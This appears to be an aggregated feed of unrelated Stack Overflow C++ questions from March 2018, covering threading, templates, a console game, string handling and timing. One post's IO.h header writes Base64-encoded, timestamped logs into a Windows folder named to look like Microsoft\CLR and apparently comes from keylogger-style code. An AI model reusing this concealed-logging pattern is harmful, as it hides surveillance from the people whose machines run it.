condition_variable cond_var;
mutex m;
int main()
{
    int c = 0;
    bool done = false;
    cout << boolalpha;
    queue<int> goods;

    thread producer([&](){
        for (int i = 0; i < 10; ++i) {
            m.lock();
            goods.push(i);
            c++;
            cout << "produce " << i << endl;
            m.unlock();
            cond_var.notify_one();
            this_thread::sleep_for(chrono::milliseconds(100));
        }
        done = true;
        cout << "producer done." << endl;
        cond_var.notify_one();
    });

    thread consumer([&](){
        unique_lock<mutex> lock(m);
        while(!done || !goods.empty()){
            /*
            cond_var.wait(lock, [&goods, &done](){
                        cout << "spurious wake check" << done <<endl;
                        return (!goods.empty() || done);
            });
            */  
            while(goods.empty())
            {
                cout<< "consumer wait" <<endl;
                cout<< "consumer owns lock " << lock.owns_lock() <<endl;
                cond_var.wait(lock);
            }
            if (!goods.empty()){
                cout << "consume " << goods.front()<<endl;
                goods.pop();
                c--;
            }
        }
    });

    producer.join();
    consumer.join();
    cout << "Net: " << c << endl;
}

The problem I have now is when the consumer consumes the last item before the product set done to true, the consumer thread will stuck in

 while(goods.empty())
            {
                cout<< "consumer wait" <<endl;
                cout<< "consumer owns lock " << lock.owns_lock() <<endl;
                cond_var.wait(lock);
            }

My understanding is cond_var.wait(lock) will wake up spuriously and thus exit the while(good.empty()) loop, but it seems not the case?

jeudi 29 mars 2018

How to write a class that can be derived from any of the other derived classes of the same base class

I am not even sure if this can be done. However, this is the situation at hand.

I have a base class:

class Base {
public:
    virtual void fun();
private:
    int variable;
}

Consider that I have two derived classes:

class Derived1 : public Base {
public:
    virtual void fun() override;
    virtual void moreFun();
private:
    int variable;
}

and

class Derived2 : public Base {
public:
    virtual void fun() override;
    virtual void moreFun();
private:
    int variable;
}

I want to write a class Derived3 which can be derived either from Derived1 or Derived2.

The idea is to have Derived3 extend certain functionalities on top of one of the other derived classes. I don't intend to switch the class in runtime, but would like to initialize in a way similar to templates.

Template <class T>
class Derived3 : public T {
public:
    virtual void moreFun() override;
private:
    int variable;
}

Is this possible? Any other suggestions on how to approach this?

Setting Eigen Matrix/Vector by index

How exactly do we set the value of an Eigen Vector or Matrix by index. I'm trying to do something similar to:

// Assume row major
matrix[i][j] = value
// or
vector[i] = value

I might have missed it, but could not find anything in the quick reference guide.

A LIST_ENTRY has been corrupted (i.e. double remove). No clue why

I am making a simple game in the console using some of the tricks from the youtuber JavidX9. Everything displays correctly when the window and buffer size are correct, FYI for anyone that tries to run it. My issue comes about when I try to close the application when debugging it. Sometimes if I mess with it enough by moving the character around the screen randomly it will break. The error I get is the one listed in the title. But after that, I get a linker error that tells me that the process is still running ( which I can not find ). So it is a nightmare to debug. I have been searching for the answer to this issue for several days now, hopefully, one of you C++ gods can help me out. The code is pretty short.

#include <iostream>
#include <Windows.h>
#include <chrono>

using namespace std;

int screenWidth = 120; //Console Screen Size. X = Cols & Y = Rows
int screenHeight = 40;

int mapWidth = 48;  //World Dimensions
int mapHeight = 48;

int playerX = mapWidth / 2;
int playerY = mapHeight / 2;

int main()
{
    wchar_t *screen = new wchar_t[screenWidth * screenHeight];
    HANDLE consoleHandle = CreateConsoleScreenBuffer(GENERIC_READ | GENERIC_WRITE, 0, NULL, CONSOLE_TEXTMODE_BUFFER, NULL);
    SetConsoleActiveScreenBuffer(consoleHandle);
    DWORD bytesWritten = 0;

    // 16 x 3


    wstring map;          //^
    map += L"################################################";
    map += L"#..............................................#";
    map += L"#.......########........########........########";
    map += L"#..............#...............#...............#";
    map += L"#......##......#.......##......#.......##......#";
    map += L"#......##......#.......##......#.......##......#";
    map += L"#..............#...............#...............#";
    map += L"###............#.##............#.##............#";
    map += L"##.............#.#.............#.#.............#";
    map += L"#......####..###.......####..###.......####..###";
    map += L"#......#.......#.......#.......#.......#.......#";
    map += L"#......#.......#.......#.......#.......#.......#";
    map += L"#..............#...............#...............#";
    map += L"#......#########.......#########.......#########";
    map += L"#..............#...............................#";
    map += L"#..............................................#";
    map += L"#..............................................#";
    map += L"#..............................................#";
    map += L"#.......########........########........########";
    map += L"#..............#...............#...............#";
    map += L"#......##......#.......##......#.......##......#";
    map += L"#......##......#.......##......#.......##......#";
    map += L"#..............#...............#...............#";
    map += L"###............#.##............#.##............#";
    map += L"##.............#.#.............#.#.............#";
    map += L"#......####..###.......####..###.......####..###";
    map += L"#......#.......#.......#.......#.......#.......#";
    map += L"#......#.......#.......#.......#.......#.......#";
    map += L"#..............#...............#...............#";
    map += L"#......#########.......#########.......#########";
    map += L"#..............#...............................#";
    map += L"#..............................................#";
    map += L"#..............................................#";
    map += L"#..............................................#";
    map += L"#.......########........########........########";
    map += L"#..............#...............#...............#";
    map += L"#......##......#.......##......#.......##......#";
    map += L"#......##......#.......##......#.......##......#";
    map += L"#..............#...............#...............#";
    map += L"###............#.##............#.##............#";
    map += L"##.............#.#.............#.#.............#";
    map += L"#......####..###.......####..###.......####..###";
    map += L"#......#.......#.......#.......#.......#.......#";
    map += L"#......#.......#.......#.......#.......#.......#";
    map += L"#..............#...............#...............#";
    map += L"#......#########.......#########.......#########";
    map += L"#..............#...............................#";
    map += L"################################################";

    const int TICKS_PER_SECOND = 20;
    const int SKIP_TICKS = 1000 / TICKS_PER_SECOND;
    const int MAX_FRAMESKIP = 10;

    DWORD next_game_tick = GetTickCount();
    int loops;
    bool game_is_running = true;

    while (game_is_running)
    {
        loops = 0;

        while (GetTickCount() > next_game_tick && loops < MAX_FRAMESKIP)
        {
            // Update
            for (int i = 0; i < screenWidth * screenHeight; i++)
            {
                screen[i] = ' ';
            }

            if (GetAsyncKeyState((unsigned short)'A'))
            {
                if (map[(playerX - 1) + mapWidth * playerY] == '#')
                {
                    break;
                }
                else
                {
                    playerX--;
                }
            }


            if (GetAsyncKeyState((unsigned short)'D'))
            {
                if (map[(playerX + 1) + mapWidth * playerY] == '#')
                {
                    break;
                }
                else
                {
                    playerX++;
                }
            }

            if (GetAsyncKeyState((unsigned short)'S'))
            {
                if (map[playerX + mapWidth * (playerY + 1)] == '#')
                {
                    break;
                }
                else
                {
                    playerY++;
                }
            }

            if (GetAsyncKeyState((unsigned short)'W'))
            {
                if (map[playerX + mapWidth * (playerY - 1)] == '#')
                {
                    break;
                }
                else
                {
                    playerY--;
                }
            }


            next_game_tick += SKIP_TICKS;
            loops++;
        }

        // Draw the map to the buffer
        for (int y = 0; y < mapHeight; y++)
        {
            for (int x = 0; x < mapWidth; x++)
            {
                screen[x + screenWidth * y] = map[x + mapWidth * y];
            }
            screen[playerX + screenWidth * playerY] = '@'; // Draw the player
        }

        // Display the Buffer
        screen[screenWidth * screenHeight - 1] = '\0';
        WriteConsoleOutputCharacter(consoleHandle, screen, screenWidth * screenHeight, { 0,0 }, &bytesWritten);
    }
}

Why wouldn't it calculate the area?

#include <iostream>

using namespace std;

int main()
{   float y;
    float area;
    float pi = 3.145;
    cout << "Enter the radius" << endl;
    cin >> y;
    area = pow(y,2)*pi;
    cout << "The area = "<< area << endl;
    return 0;
}

what is wrong with my code ?? It supposed to calculate the area of the circuit

How do you use syntax of c++ effectively [on hold]

How can I use the C++ syntax effectively like python for example? It feels harder and harder when getting more deep int the language unlike the python style of writing.

Erasing an element of a string using its index and str.erase?

How I use the erase function to erase part of a string "str" in the form of str.erase(str[i]) ?

When I run, it outputs the string minus the first element only, and then some weird characters.

Code :

#include<bits/stdc++.h>
using namespace std; 
int main()
{
    string s;
    cout << "Please input the desired string : \n";
    cin >> s;
    int sz = sizeof s;
    int x = sz / 2;
    if ((sizeof s)%2 != 0)
    {
        s.erase(s[x]);
    }
    else
    {
        s.erase(s[x-1], s[x]);
    }
    for (int j=1; j <= sz; j++)
    {
        cout << s[j];
    }    
}

Missing lines of output on a hackereath code

I was solving a question on hackerearth. The question is to replace every alphabet with another alphabet which is the nearest prime of the former alphabet. (Magical word question on hackerearth)

I tried solving the question, the code failed to pass some testcases. When I tried debugging the code after some iterations at cin, the debugging thread was going to waiting state.

For the following input:
10
229 uTkxYwOdZlyzGtVUSYqZhjWnEFazKOOTDuWoNLRqinqmpSDfZHdcREUjYFiGEksppnDHzrHOBtsXSBWOczVRTxlxdVjDgoJUMEfTUmzpWOrXnuMHRIiqFhDFEJMLzUtOsfQQhhXmJbHgyHHbcWOQPEgnQxPmHTtNmiqhkZMvgdRWnYrReBlIPvjQPPLyGUNSGfiICKTBtnwHeccGjdBqLqRtOXJUiHRaFPyce
322 bGxPVNuxkZQKIHbIZVWZpmBpshkDaIosjZHtbMfHrmsHitrrGOmXENIhkuFklSFhvlacrdnmqkVRTYuWnsPzdTBEeDHpUmoKfwmyUrgINuCWgIAZLZkChbKkJZIRMxZFoZLiwRqQKvDzbJXMfikuSOlpUwtdvXpjljUmzmroCCkwdQRUgcOYKgNAxwoBLrUPtvOnaBpypIDManeMydmoOgTJILdveEqNwtQxioVoTqHxSBSEJUJpnNKlCcwhnTUoKOZYphJTWjQSqTXqbGNSZYNpdgdkotTGPacLkzwLJGwVsJJmSpBdvgfMOWXlLxTLur
365 eMzcThGLZavSoaxOJLwHMBlRqffCOygUiCnrDFRSSzAimJjqZlbMnHlYIKExtEzQicrxZjezPCNIBmoSMdSgnfLmqurpJFbqZQxksUUnicPBVJKOBegWzlkpsWfqUwWXlaxVjOvLdOTlLXmAjZVfvuzgfxxWaoqqkkEpUrBymEYGhNxSGMXYoguRSgqLRVOexuVNzlnFvLZMUITJTkRhLwQFChXzjsiuorcTQiunGursbgAaqdlDoqSZaXgRwNNtMXhdHhqBZGLlfjwcjaBVvGzxiIzIixwXLmgHtTkIHshjBgOMudQjFeldITmjlusbwjhaMxsrZNoSiyVxBpNBUHcENBdfXNOHUiohXoUvfTRuj
388 WUfLfyyXSKpipbIQaMXtEsWnBOztDxkBpsfvmdFpQyfunbtcSQxGmjSnPvXNgFIbNgLWaKTBhlFHbMQAhgzucObNvWVEwPvpHlxbSRCzhwEdmvIyAWkgilSPQdRhjhCRjpowihnyxfqPtrbqzfEKeskikHUnJdGGpUmgQUZfCjSsdCiFSWImQMVRAJWvQxUUzSjHfAhtxtIyNKBxgnTixUGFURLasoafbcPRNweWRgxWMrXjxKLvMMRhpXvdDwTixoUHunMIkWkVfiimIrHakuhauajZSJMajCTsZfEAsPCruRAiBvnTqeTnHnnJXaCmBxDaRhMAndrJeOYiuDFNWvSbMEeTdhFkRVlVCCyfZsARBztCbZWFdTxxiiQNCtulXfMN
22
BRLXRewjQULBgycRATXhsY
134 CCLcXInEuLFDyQGnZKPoSwIjJWNBNPzHhwcJYhUpdPwKxvIYZfvrlAEFUFWEoSQXHlhoBNOoGprpxGJdqgukbsyKnkyNSlvyZqWBUknnPOqoVChdnyjmQYKiewbjtPCgLsDZPZ
43
CChpdJXNdNgPXMmWLvcrSBSecSFSXtSsuRkpILYhucj
144
uYUzpyXetqxSXnuUvrwaHSGUZjiJABisQGXafwPVQFXZMiWQpxkIEoYSsDNAuXojwPkrttJJaXdNlZvaXlNTnSeevrjURTlNJTgGYzegRTUstqlyWQjrHrKPcGQSnlaHAfQSAEjDeeppEiDt
260
mNUCAoXQiYXIojGYuArEMnbmmHKmGkXpSYQoCfWyKjtPTnjlvZJsvwxLLDhEDzHUYHrYIIwMsOnJIoozVyXoAMsrSjCRINvFTvxXUoKvxCspWVqCmLbgXmDXlzszNKvRYzSolVWHzNLDwxsrlqoqtDovpUdVprNWnznQWpUAwCWBDrJMjnuvhHtLvoUkkYPJYKXokpXSjlrRMNxRoMIUzHZBMXNpTxobEDzIZyknsmJBhJMjfrkicpmMQjvmxOhcZrOV
282
bSxneXSCSMyvlMUCntAcMbTvUnmSZqNrQYQjCtGCtruoOwASWbvLRQCoKGayBKZGNtkSoRFUoLLtxcXdvLSZnYtLsKvDqxNowPaoByolyzPCMrMhLONuMXxQQYiAVZnyWtwHiuMVXQaGIKnzpoCtCUwDIWRTTVHtXlhHVVZqgXOzjdkbKuomBqBMfewXdAkWjyYXWOtgDaFvhbzsHZfldetSpreQcCHDVtaZyNnZVUyDppjoipVVEFExTHcBQoXrQLYVaCcAZDAVFnOyhgqUftjLMT

My code :

#include<iostream>
#include<vector>

using namespace std;
vector<int> prime;

void seive(){
   vector<int> ascii(257,true);
   ascii[0]=false;ascii[1]=false;
   for(int index = 2 ;index < 257 ; index++){
       if(ascii.at(index)){
          if((index>=65 && index<=90) || (index>=97 && index<=122))
             prime.push_back(index);
          for(int num=1;num*index < 257;num++){
             ascii[num*index]=false;
          }
        }
    }
 }
 int binary_search(int low,int high,int key){
     if(low<=high){
         int mid=(low+high)/2;
         if(mid==0){
             if(key-prime.at(mid) == prime.at(mid+1)-key)
                 return prime.at(mid);
             if(key-prime.at(mid) < prime.at(mid+1)-key)
                 return prime.at(mid);
             else
                 return prime.at(mid+1);
      }
      if(prime[mid]==key)
          return prime.at(mid-1);
      if(prime.at(mid)<key && prime.at(mid+1)>key){
          if(key-prime.at(mid) == prime.at(mid+1)-key)
              return prime.at(mid);
           if(key-prime.at(mid) < prime.at(mid+1)-key)
               return prime.at(mid);
            else
               return prime.at(mid+1);
       }
       if(key<prime.at(mid))
            return binary_search(low,mid-1,key);
       else
            return binary_search(mid+1,high,key);
   }
   return 0;
}

int main(void){
   ios_base::sync_with_stdio(false);
   //cin.tie(NULL);
   int testcases;
   seive();
   cin>>testcases;
   for(int test=0;test<testcases;test++){
       int length;
       cin>>length;
       char str[length];
       memset(str,'\0',length);
       cin>>str;
       for(int index=0;str[index]!='\0';index++){
           int ascii_value=str[index];
           if(find(prime.begin(),prime.end(),ascii_value)!=prime.end()) 
               continue;
           if(ascii_value >= 113){
             str[index]=113;
             continue;
           }
           int nearest_prime = 
                   binary_search(0(int)prime.size()-1,ascii_value);
           str[index]=nearest_prime;
      }
      cout<<str<<endl<<endl;
  }
  return 0;
}

Is there a way to understand why thread is going to waiting state.When I saw my output file on hackerearth it shows few lines in my output are not present.

The output should be as below

qSkqYqOeYkqqGqSSSYqYgkYmCGaqIOOSCqYmOISqgmqmqSCeYGeaSCSkYGgGCkqqqmCGqqGOCqqYSCYOaqSSSqkqeSkCgmISOCeSSmqqYOqYmqOGSIgqGgCGCIOIqSqOqeOOggYmIaGgqGGaaYOOOCgmOqOmGSqOmgqgkYOqgeSYmYqSeCkIOqkOOOIqGSOSGegICISCqmqGeaaGkeCqIqSqOYISgGSaGOqae aGqOSOqqkYOIIGaIYSYYqmCqqgkCaImqkYGqaOeGqmqGgqqqGOmYCOIgkqGkkSGgqkaaqemmqkSSSYqYmqOqeSCCeCGqSmmIeqmqSqgIOqCYgICYIYkCgaIkIYISOqYGmYIgqSqOIqCqaIYOegkqSOkqSqqeqYqkkkSmqmqmCCkqeOSSgaOYIgOCqqmCIqSOqqOmaCqqqICOameOqemmOgSIIIeqeCqOqqOqgmSmSqGqSCSCISIqmOIkCaqgmSSmIOYYqgISYkOSqSYqaGOSYYOqegekmqSGOaaIkqqIIGqSqIImSqCeqgeOOYYkIqSIqq eOqaSgGIYaqSmaqOIIqGOCkSqeeCOqgSgCmqCGSSSqCgmIkqYkaOmGkYIICqqCqOgaqqYkeqOCOICmmSOeSgmeImqqqqIGaqYOqkqSSmgaOCSIIOCegYqkkqqYeqSqYYkaqSkOqIeOSkIYmCkYSeqqqgeqqYamqqkkCqSqCqmCYGgOqSGOYYmgqSSgqISSOeqqSOqkmGqIYOSISISkSgIqOGCgYqkqgqmqaSOgqmGqqqagCaqekCmqSYaYgSqOOqOYgeGgqCYGIkekqakaCSqGqqgIqIgqqYImgGqSkIGqgkCgOOqeOkGekeISmkkqqaqkgaOqqqYOmSgqSqCqOCSGaCOCeeYOOGSgmgYmSqeSSqk YSeIeqqYSIqgqaIOaOYqCqYmCOqqCqkCqqeqmeGqOqeqmaqaSOqGmkSmOqYOgGIaOgIYaISCgkGGaOOCggqqaOaOqYSCqOqqGkqaSSCqgqCemqIqCYkggkSOOeSgkgCSkqmqggmqqeqOqqaqqeCIeqkgkGSmIeGGqSmgOSYeCkSqeCgGSYImOOSSCIYqOqSSqSkGeCgqqqIqOICqgmSgqSGGSSIaqmaeaaOSOqeYSgqYOqYkqIIqOOSgqYqeCqSgqmSGqmOIkYkSeggmIqGakqgaqakYSIOakCSqYeCCqOCqqSCgCqmSqeSmGmmIYaCmCqCaSgOCmeqIeOYgqCGOYqSaOCeSegGkSSkSCCqeYqCSCqqCaYYGeSqqggOOCqqkYeOO CSIYSeqkOSICgqaSCSYgqY CCIaYImCqIGCqOGmYIOmSqIkIYOCOOqGgqaIYgSqeOqIqqIYYeqqkCCGSGYCmSOYGkgmCOOmGqqqqGIeqgqkaqqImkqOSkqqYqYCSkmmOOqmSCgemqkmOYIgeqakqOCgIqCYOY CCgqeIYOeOgOYOmYIqaqSCSeaSGSYqSqqSkqIIYgqak qYSqqqYeqqqSYmqSqqqaGSGSYkgICCgqOGYaeqOSOGYYOgYOqqkICmYSqCOCqYmkqOkqqqIIaYeOkYqaYkOSmSeeqqkSSSkOISgGYqegSSSqqqkqYOkqGqIOaGOSmkaGCeOSCCkCeeqqCgCq mOSCCmYOgYYImkGYqCqCOmammGImGkYqSYOmCeYqIkqOSmkkqYIqqqqIICgCCqGSYGqYIIqOqOmIImmqSqYmCOqqSkCSIOqGSqqYSmIqqCqqYSqCmIagYmCYkqqqOIqSYqSmkSYGqOICqqqqkqmqqCmqqSeSqqOYmqmOYqSCqCYCCqIOkmqqgGqIqmSkkYOIYIYmkqYSkkqSOOqSmOISqGYCOYOqSqmaCCqIYqkmqmICgIOkeqkgaqmOOkqmqOgaYqOS aSqmeYSCSOqqkOSCmqCaOaSqSmmSYqOqOYOkCqGCqqqmOqCSYaqISOCmIGaqCIYGOqkSmSGSmIIqqaYeqISYmYqIqIqCqqOmqOamCqmkqqOCOqOgIOOqOYqOOYgCSYmqYqqGgqOSYOaGIImqqmCqCSqCIYSSSSGqYkgGSSYqgYOqkekaIqmmCqCOeeqYeCkYkqYYYOqgCaGqgaqqGYekeeqSqqeOaCGCSqaYqOmYSSqCqqkmgqSSCGCqSGaCOmYqOIYSaCaCYCCSGmOqggqSeqkIOS

Help much neded

Can't find C++ JSON parser / composer for widechar (wchar_t / std::wstring) [on hold]

Previously I used that perfect tool https://github.com/nlohmann/json but it doesn't support widechar. Can anyone propose any good single header JSON tool for widechars please?

Explicit user-defined conversion operator versus named conversion function

Say I have a type Thing which can be converted to a primitive type such as int, should I prefer defining an explicit user-defined conversion operator such as:

struct Thing
{
    int member = 42;
    explicit operator int() const { return member; }
};

int main()
{
    Thing thing;
    return static_cast<int>(thing);
}

Or should I just go with a plain named function:

struct Thing
{
    int member = 42;
    int asInt() const { return member; }
};

int main()
{
    Thing thing;
    return thing.asInt();
}

It appears to me like the statement of intent is similar, and I think the syntactical merits of both could be argued, but perhaps there are more subtle reasons to use one or the other. Does anyone have experience of the pros and cons of each?

Hide class template instance based on traits

I have a traits class like the following that reflects the compatibility between two types:

template <typename ObjectType, typename ArgumentType>
struct Traits
{
    static const bool SpecialMethodAvailable = false;
};  

The single member determines if SpecialMethod() can be called on objects of type ObjectType with argument of type ArgumentType.

A simple class that supports this is the following:

class ClassWithSpecialMethod
{
public:
    template <typename T>
    void SpecialMethod(T param) { std::cout << "Special Method called with " << param << std::endl; }
};

template <typename ArgumentType>
struct Traits<ClassWithSpecialMethod, ArgumentType>
{
    static const bool SpecialMethodAvailable = true;
};

I want to write a worker class that uses this traits class and calls the special method if it is available. Basically something like the following:

template <typename T>
struct Worker
{
    static void DoSomething(T t, GlobalDataType& globalData)
    {
        //if Traits<GlobalDataType, T>::SpecialMethodAvailable
        //    call the method
        //else
        //    do something different
    }
};

I tried to realize this using std::enable_if. My solution works with the Visual C 14.1 compiler but not with GCC. Here is what I tried:

template <typename T, typename Enable = void>
struct Worker
{
    static void DoSomething(T t, GlobalDataType& globalData)
    {
        std::cout << "There is no special method (called with " << t << ")" << std::endl;
    }
};

template <typename T>
struct Worker<T, typename std::enable_if<Traits<GlobalDataType, T>::SpecialMethodAvailable>::type>
{
    static void DoSomething(T t, GlobalDataType& globalData)
    {
        globalData.SpecialMethod(t);
    }
};

I used this as follows:

typedef ... GlobalDataType; //before the template declarations

int main()
{
    GlobalDataType td;

    int integer = 0;
    Worker<int>::DoSomething(integer, td);
}

If GlobalDataType is typedef'ed to ClassWithSpecialMethod, both VS and GCC compile fine and output correctly:

Special Method called with 0

However, if GlobalDataType is typedef'ed to something that does not allow the special method (e.g. int), VS still produces the correct output while GCC results in a compile error:

In static member function ‘static void Worker::SpecialMethodAvailable>::type>::DoSomething(T, GlobalDataType&)’: source.cpp:38:15: error: request for member ‘SpecialMethod’ in ‘globalData’, which is of non-class type GlobalDataType {aka int}’

Can someone explain why this does not work as intended under GCC? What would be alternatives?

Link to online compiler

IO Code for windows giving declaration error

While writing a code IO part of windows CodeBlocks is giving some form of error which I don't seem to figure out.

#ifndef IO_H
#define IO_H

#include <string>
#include <cstdlib>
#include <fstream>
#include "windows.h"
#include "Helper.h"
#include "Base64.h"

namespace IO
{
    std::string GetOutPath(const bool append_seperator = false)
    {
        std::string appdata_dir(getenv("APPDATA"));
        std::string full = appdata_dir + "\\Microsoft\\CLR";
        return full + (append_seperator ? "\\" : "");
    }
    bool MkOneDr(std::string path)
    {
        return (bool) CreateDirectory(path.c_str(), NULL) ||
        GetLastError() == ERROR_ALREADY_EXISTS;
    }
    bool MKDir(std::string path)
    {
        for(char &c : path)
        {
            if(c == '\\')
            {
                c = '\0';
                if(!MkOneDr(path))
                    return false;
                c = '\\';
            }
        }
        return true;
    }
    template <class T>
    std::string WriteLog(const T &t)
    {
        std::string path = GetOurPath(true);
        Helper::DateTime dt;
        std::string name = dt.GetDateTimeString("_") + ".log";

        try
        {
            std::ofstream file(path + name);
            if(!file) return "";
            std::ostringstream s;
            s << "[" << dt.GetDateTimeString() << "]" <<
            std::endl << t << std::endl;
            std::string data = Base64::EncryptB64(s.str());
            file << data;
            if(!file)
            return "";
            file.close();
            return name;
        }
        catch(...)
        {
            return "";
        }
    }
}
#endif // IO_H

Error: IO.h|41|error: there are no arguments to 'GetOurPath' that depend on a template parameter, so a declaration of 'GetOurPath' must be available [-fpermissive]|

in istringstream how can i get time and symbols? in c++

I'm trying to copy information from my file to my program,
For example: Inside Text File 12 John TRUE 01-11-81 8.10-8.20 7.11
And I am trying to assign in following order
ID(int), Name(string), alive(bool), Birthday(ints), time(Here is problem), arrival time(...)
I am using getline and istringstream iss With istringstream everything is going well untill that time. 8.10-8.20

iss>>time.hour>>time.min is this reading untill white space occures? if so why i cant even assign whole time into a string?

char *time;
iss>>time; //this doesn't copy whole (8.10-8.20) time.

can anyone help me to figure what is the problem here?
Even in BOOL I'm just getting it as char* and comparing the first letter, Is there any way to directly, my code recognise it as TRUE or FALSE?

Different behaviour while passing shared_ptr to weak_ptr in thread functions and normal functions

I'm having a thread function which takes a weak_ptr<> and I pass my shared_ptr<> in the thread function.

Legally weak_ptr<> should not increment the reference count of shared_ptr<>, however, unless I typecast with weak_ptr<> while passing the same to the thread function, it increments the reference count (unexpected)

This behaviour happens only with thread functions and not with normal function calls.

Here is the code for thread function

void thrdfn(weak_ptr<int> wp) {
    cout<<wp.use_count()<<endl;  // Prints 2
}

int main() {
    shared_ptr<int> sp = make_shared<int>();
    thread th { thrdfn, (sp)};
    th.join();
    return 0;
}

However, when I typecast while creating thread, it behaves properly

void thrdfn(weak_ptr<int> wp) {
    cout<<wp.use_count()<<endl;  // Prints 1
}

int main() {
    thread th { thrdfn, weak_ptr<int>(sp)}; // typecast 
}

When I call the function as a normal function call, it works fine without typecasting

void thrdfn(weak_ptr<int> wp) {
    cout<<wp.use_count()<<endl;  // Prints 1
}

int main() {
    shared_ptr<int> sp = make_shared<int>();
    thrdfn(sp);
    return 0;
}

Behaviour is same with multiple compilers

Why extra parenthesis is needed to compile "std::thread" functor ?

It is probably a dumb question, I'm moving from the "old" c++ to the newer C++ 11 and looking into the std::thread library.

class MyThread
{
public:
    int i = 0;
    void operator()()
    {
        for (;i < 10000; i++)
            cout << "Exectuing " << endl;
    }
};

In the main I have the following lines:

thread threadObj( MyThread() );

for (int i = 0; i < 1; i++)
    cout << "Main thread " << endl;

threadObj.join();

It won't compile the last line : "Expression must have a class type"

Adding extra parenthesis to : thread threadObj( (MyThread()) ); solves the problem.

Why ? The type remains the same : thread.

Am I missing some new c++ 11 feature ? or just confused.

Using a template class with defaults for all the template arguments [duplicate]

I have a template class with default template arguments provided for all the template arguments. If I try to use the template class without providing any template arguments, I expect to use the template instantiation using all those defaults, just like for function template arguments. But instead the compiler complains about the template arguments missing. Does C++ permit all the template class arguments to have default values?

Here is a minimal example that demonstrates the problem:

 #include <chrono>

 template<
   typename T = std::chrono::duration< int >,
   typename D = std::chrono::duration< unsigned int >
   >
 class Range final
 {
  public:

   using Time = TIME;

   Range(const T t_):
     t(t_)
     {
     }

  private:
   T t;
 };


 class Container final
 {
  public:

   Range getRange() const
   {
     return Range{Range::Time{0}};
   }

 };

My compiler complains as follows:

 main.cpp:27:3: error: invalid use of template-name ‘Range’ without an argument list
    Range getRange() const
    ^~~~~
 main.cpp:7:13: note: ‘template<class T, class D> class Range’ declared here
  class Range final
              ^~~~~

Less readability after clangtidy [on hold]

This is a simple example... things get worse in bigger files Before clang-tidy enter image description here

After clang-tidy enter image description here

It seems to me that after clangtidy its much worse

e.g. createAsConfirmDialogue( is in another line. and there are so many empty space due to line breaks.

Is there a reason people use this?

How to make Xo Game with C++ [on hold]

This is the image (https://i.stack.imgur.com/3eLED.jpg) This is a link (https://google.com) This is the question (how to make xo game with c++)

Function receiving a const struct and cin commend

  1. To the best of my knowledge, when a function receives a const parameter, the function cannot change it. so, what supposed to happen when the function should change the parameter? (For instance the function contains "cin" commend to the const parameter). Would it be compilation error? or would it run but the parameter don't change in practice?
  2. I tried to do some tests in the code below. When I set from void read_student (Student students[], int size) to void read_student (const Student students[], int size), I receive the following error messages (these are only some of them). Does this happen because the combination of the 'const' parameter and the 'cin' commend? If it is, how am I supposed to understand that from these messages?

|19|error: no match for 'operator>>' (operand types are 'std::istream {aka std::basic_istream}' and 'const char [20]')|

|19|error: invalid initialization of non-const reference of type 'bool&' from an rvalue of type 'bool'|

|19|error: invalid conversion from 'const char*' to 'short int' [-fpermissive]|

|19|error: cannot bind rvalue '(short int)((int)(&(students + ((sizetype)(((unsigned int)i) * 24u)))->Student::name))' to 'short int&'|

|19|error: invalid conversion from 'const char*' to 'short unsigned int' [-fpermissive]|

|19|error: cannot bind rvalue '(short unsigned int)((int)(&(students + ((sizetype)(((unsigned int)i) * 24u)))->Student::name))' to 'short unsigned int&'|

#include <iostream>

using namespace std;

const int max_students=3;

struct Student
{
    char name [20];
    float avg;
};


void read_student (const  Student students[], int size) //const Student VS Student
{
    for (int i=0; i<size; i++)
    {
        cout << "enter name and avg for student #" << i+1 << endl;
        cin >> students[i].name >> students[i].avg;
    }
}


void print_student (const Student students[], int size)
{
    for (int i=0; i<size; i++)
        cout << "name: " << students[i].name << "\taverage: " << students[i].avg <<endl;
}




int main()
{
    Student students[max_students];
    read_student(students, max_students);
    cout << "ell students: \n";
    print_student(students, max_students);


    return 0;
}

How to get the square root of repeating decimal point number using C++? I got zero

//example: sqrt(4/99) //Accuracy not important.. it is okay to truncate some digits

Confused with parameter pack declaration, C++

Can anyone please explain what the following declaration means?

template<typename... T> void f2(std::vector<T*>...);

Does this mean that f2 accepts number of std::vectors with different pointer types?

mercredi 28 mars 2018

C++ custom comparator not working MWE

I know there has been few posts about this already, so feel free to remove my post, but this code:

#include <bits/stdc++.h>
#define tol 1e-9
using namespace std;

int n;
vector<pair<double,double>> vec;

struct comparator {
    bool operator () ( pair<double,double> &a, pair<double,double> &b ) {
        if ( fabs(a.first-b.first) < tol )
            return a.second < b.second;
        return a.first > b.first;
    }
};

int main() {
    int i,j,k,ts,cs= 0,m,sz;
    for ( ; 1 == scanf("%d",&n); ) {
        for ( vec.clear(), vec.reserve(n), i = 0; i < n; ++i )
            scanf("%lf %lf",&vec[i].second,&vec[i].first);
        sort(vec.begin(),vec.end(),comparator());
        for ( i = 0; i < n; ++i )
            printf("%lf %lf\n",vec[i].first,vec[i].second);
    }
    return 0;
}

is not working for this example:

2
120 60
60 90

I compile this as g++ -std=c++11 -o a mwe.cpp, and mine is g++ version 5.4

Openssl BIGNUM Base class has incomplete type

I am learning bitcoin original code and try to learn it by tear it down into very small peaces.

class CBigNum : public BIGNUM
{
  public:
    CBigNum()
   {
     BN_init(this);
 }
}

There is a class call CBigNum inherited from BIGNUM which is openssl class. When I try to compile it by Xcode, it always info me that Base class has incomplete type. I did search this issues, and someone said this was cause by the high version openssl v1.1.

I downgrade openssl version to v1.0.1, the issue still existed. So, I use the version bitcoin-original code used, v9.8h, the issue still existed.

macOS v10.12.6, Xcode9.2.

P.S. when I was compiling openssl v1.1 or v1.0.1 everything were good. However, when I was compiling openssl v9.8h, there were some info seem innormal /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ranlib: file: /usr/local/openssl/lib/libcrypto.a.new(ebcdic.o) has no symbols

P.S.2: compile openssl commands

cd Downloads/openssl-0.9.8h
./config
sudo ./config --prefix=/usr/local/openssl
make
sudo make install

How to output time in milliseconds in c++?

#include <iostream>
#include <chrono>
#include <time.h>
#include <stdio.h>
using namespace std;
using namesapce chrono;

int main() {
int f;
time_t start, end;
time (&start);
cin >> f;
time (&end);
double dif = difftime (end, start);
printf ("Elapsed time is %.2lf seconds.", dif );
}

Hello everyone, I am currently working on a c++ assignment and I am essentially required to have the user input something within 10 seconds. I managed to find out how to count the time by the second but I need it to be by milliseconds because I have to find out how many milliseconds above 10 seconds was elapsed. I am not that experienced with C++ and would very much appreciate any suggestions that may help steer me in the right way. Thanks a lot

